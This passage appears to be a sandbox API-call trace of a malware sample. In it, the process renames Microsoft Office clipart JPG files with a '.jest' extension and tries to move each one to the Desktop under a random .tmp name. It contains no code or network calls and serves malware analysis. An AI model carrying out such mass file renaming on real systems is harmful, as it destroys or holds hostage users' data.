Office\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg.jest")) returned 1 [0166.817] VarBstrFromR4 (in: fltIn=0x47945830, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.38") returned 0x0 [0166.830] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7dV-_I4yLgDw4HKAhFi_lhHn2P-YlVloIC-bZ4bUFelky7Ok LmKoxIkiKbe20RD-pWbYmpsOKo-onoBNjITc-Z8RzI55I24lKrZ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7dv-_i4ylgdw4hkahfi_lhhn2p-ylvloic-bz4bufelky7ok lmkoxikikbe20rd-pwbympsoko-onobnjitc-z8rzi55i24lkrz.tmp")) returned 0 [0166.831] GetLastError () returned 0x2 [0166.832] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0166.834] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg.jest")) returned 1 [0166.867] VarBstrFromR4 (in: fltIn=0x47945838, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.44") returned 0x0 [0166.873] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Lot0QpeAnqhEwQvllGR-uuD7p7i9N8P93eMklZhz35Yl-tQO4zA8xvaMDiVXljr2LoYcrtdC2SlbEFucihsEYU9WzSzsVRofXVGHK.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lot0qpeanqhewqvllgr-uud7p7i9n8p93emklzhz35yl-tqo4za8xvamdivxljr2loycrtdc2slbefucihseyu9wzszsvrofxvghk.tmp")) returned 0 [0166.873] GetLastError () returned 0x2 [0166.874] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0166.877] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg.jest")) returned 1 [0166.880] VarBstrFromR4 (in: fltIn=0x47945838, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.44") returned 0x0 [0166.888] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6pKrYuJXUTR9vohHhWjwMTDpiFGv3FPtQeH5UO RC1k86vnSlxdI7gbcV9wNN0r-22xYgL3 E3JhNbGLyX7GEd GTRrjzo_GpRJ9K.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6pkryujxutr9vohhhwjwmtdpifgv3fptqeh5uo rc1k86vnslxdi7gbcv9wnn0r-22xygl3 e3jhnbglyx7ged gtrrjzo_gprj9k.tmp")) returned 0 [0166.889] GetLastError () returned 0x2 [0166.889] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0166.890] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg.jest")) returned 1 [0166.892] VarBstrFromR4 (in: fltIn=0x4794583a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.45") returned 0x0 [0166.893] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-EX4Whr7Hko6Ui66y5com5nf-YDAqUcoC2MxrCUelwZL2g_QUcE R3Sa0u3Wabg7fRNu5j 7RgL22bBZThuhM3TIeMfCpHd0LgVJB.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-ex4whr7hko6ui66y5com5nf-ydaqucoc2mxrcuelwzl2g_quce r3sa0u3wabg7frnu5j 7rgl22bbzthuhm3tiemfcphd0lgvjb.tmp")) returned 0 [0166.893] GetLastError () returned 0x2 [0166.896] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0166.897] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg.jest")) returned 1 [0166.900] VarBstrFromR4 (in: fltIn=0x4794583c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.47") returned 0x0 [0166.907] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jSiK2E0Xi1bXJczY0qmCo ddkIrBkxD7Yqh6RDkt_9DsevdCbP9x0d9EdgEXJ1j5Vj_nUknriD_ce2ecZClbRFntKWmXHN5hClCb.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jsik2e0xi1bxjczy0qmco ddkirbkxd7yqh6rdkt_9dsevdcbp9x0d9edgexj1j5vj_nuknrid_ce2eczclbrfntkwmxhn5hclcb.tmp")) returned 0 [0166.907] GetLastError () returned 0x2 [0166.908] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0166.909] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg.jest")) returned 1 [0166.915] VarBstrFromR4 (in: fltIn=0x4794583c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.47") returned 0x0 [0166.917] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dGlh2X-YBvHT4qAaM0UuJ-v4yoTlvm95_Al2wd946ytEQyR5B3cJO4wMWmgsGQ-yTuQprzd 880ji HieDkw0LQCWREaasP_CiJv.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dglh2x-ybvht4qaam0uuj-v4yotlvm95_al2wd946yteqyr5b3cjo4wmwmgsgq-ytuqprzd 880ji hiedkw0lqcwreaasp_cijv.tmp")) returned 0 [0166.917] GetLastError () returned 0x2 [0166.917] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0166.918] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg.jest")) returned 1 [0166.920] VarBstrFromR4 (in: fltIn=0x4794583e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.48") returned 0x0 [0166.922] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\V2nsUMeRUlQXQwqvkdXTsIQ1BxEhLb0tLXiyQ9siBnDKWB43E93RGdyHQCYNafhRz-3TO3H0tPTLApI6oZinBvrz6kXrCnZ5cyPs6.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\v2nsumerulqxqwqvkdxtsiq1bxehlb0tlxiyq9sibndkwb43e93rgdyhqcynafhrz-3to3h0tptlapi6ozinbvrz6kxrcnz5cyps6.tmp")) returned 0 [0166.922] GetLastError () returned 0x2 [0166.922] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0166.923] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg.jest")) returned 1 [0166.925] VarBstrFromR4 (in: fltIn=0x4794583e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.48") returned 0x0 [0166.926] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VGGOcnV64hwzJ3EVi5rYfN7dTkJKvHTfICUd8Fu_b-f5TqwxiL-aLFxWkBtpEy9emw mjCUg9F3 ugbEV4duKBWiHbUxjUjwUR .tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vggocnv64hwzj3evi5ryfn7dtkjkvhtficud8fu_b-f5tqwxil-alfxwkbtpey9emw mjcug9f3 ugbev4dukbwihbuxjujwur .tmp")) returned 0 [0166.926] GetLastError () returned 0x2 [0166.926] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0166.927] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg.jest")) returned 1 [0166.929] VarBstrFromR4 (in: fltIn=0x47945840, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.5") returned 0x0 [0166.930] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqLP7YPMTZ-W_H6sYRKBdY04Sske2hov4iYZP-ZmlcEZxC33JQJ3PzE6vs5Mv2RNZM9e_MRN9rkyPcqfO0hS2Xxp5KxxpoWF2pcJ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mqlp7ypmtz-w_h6syrkbdy04sske2hov4iyzp-zmlcezxc33jqj3pze6vs5mv2rnzm9e_mrn9rkypcqfo0hs2xxp5kxxpowf2pcj.tmp")) returned 0 [0166.930] GetLastError () returned 0x2 [0166.931] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0166.931] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg.jest")) returned 1 [0166.933] VarBstrFromR4 (in: fltIn=0x47945840, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.5") returned 0x0 [0166.934] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GzDKCP0rYeGhH0ypmgm1WJlUWzxMbBf9UgQw 5zKM--yqifCM3c4oNurkEJ4PrFKkktD5EHtnHdo3nHVfHlWIVfxPMVzNELm_Uv_r.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gzdkcp0ryeghh0ypmgm1wjluwzxmbbf9ugqw 5zkm--yqifcm3c4onurkej4prfkkktd5ehtnhdo3nhvfhlwivfxpmvznelm_uv_r.tmp")) returned 0 [0166.934] GetLastError () returned 0x2 [0166.934] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0166.935] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg.jest")) returned 1 [0166.936] VarBstrFromR4 (in: fltIn=0x47945840, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.5") returned 0x0 [0166.937] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KN8eXuvDwTYbKPUjaAGc_-3TLy4kDA2CsWFSUxk5tcAgPwRCO4ZsfA2u9lJnwKEChIvycgFXzrnsMh-5IvGEcsWRu-hO a-d05TJY.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kn8exuvdwtybkpujaagc_-3tly4kda2cswfsuxk5tcagpwrco4zsfa2u9ljnwkechivycgfxzrnsmh-5ivgecswru-ho a-d05tjy.tmp")) returned 0 [0166.938] GetLastError () returned 0x2 [0166.938] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0166.942] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg.jest")) returned 1 [0166.944] VarBstrFromR4 (in: fltIn=0x47945840, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.5") returned 0x0 [0166.945] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Pfo5ze5mteUxp__TkxjC8j8825OV6ZnLXwJNy3JCs7dAj3bpUbQORWrW86LML6zMLo-WgOYl5mmFwgKZ0xWQJXPjKVpPPg_lt 3.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pfo5ze5mteuxp__tkxjc8j8825ov6znlxwjny3jcs7daj3bpubqorwrw86lml6zmlo-wgoyl5mmfwgkz0xwqjxpjkvpppg_lt 3.tmp")) returned 0 [0166.945] GetLastError () returned 0x2 [0166.965] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0166.967] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg.jest")) returned 1 [0166.970] VarBstrFromR4 (in: fltIn=0x47945844, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.53") returned 0x0 [0166.971] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IGxDh7hizLQWTR-3QJ0-c9fRRPNiJv6AryeQ3rdR31pFcxKX7dh5HV4kYEJg-ejz4ElC3FjOtfPHG2vjGg-2jXuv2KGNqqlczG1k.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\igxdh7hizlqwtr-3qj0-c9frrpnijv6aryeq3rdr31pfcxkx7dh5hv4kyejg-ejz4elc3fjotfphg2vjgg-2jxuv2kgnqqlczg1k.tmp")) returned 0 [0166.971] GetLastError () returned 0x2 [0166.972] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0166.973] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg.jest")) returned 1 [0166.975] VarBstrFromR4 (in: fltIn=0x47945844, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.53") returned 0x0 [0166.976] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DyNK13oLJQvLMcA0PA69WVFkQyS3SAZZoeNs0qUkDDo-bFq_eJpvqEw4o KTBE7KNcLh7ya3 EdUeyuu9KowFqGv0GZvlt1_a_b.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dynk13oljqvlmca0pa69wvfkqys3sazzoens0qukddo-bfq_ejpvqew4o ktbe7knclh7ya3 edueyuu9kowfqgv0gzvlt1_a_b.tmp")) returned 0 [0166.995] GetLastError () returned 0x2 [0167.002] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.023] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg.jest")) returned 1 [0167.028] VarBstrFromR4 (in: fltIn=0x4794584c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.59") returned 0x0 [0167.030] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-Ms26PFVl2rYCMCVyJOR uFblAT_ BCUb6tQMi8xsEkb1nLxdCvs UKmTlxbZp-NKrlwE8vPIsJTrwZBxgrzwvSeMEzBkXRj3uy.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-ms26pfvl2rycmcvyjor ufblat_ bcub6tqmi8xsekb1nlxdcvs ukmtlxbzp-nkrlwe8vpisjtrwzbxgrzwvsemezbkxrj3uy.tmp")) returned 0 [0167.030] GetLastError () returned 0x2 [0167.031] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.032] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG" (normalized: 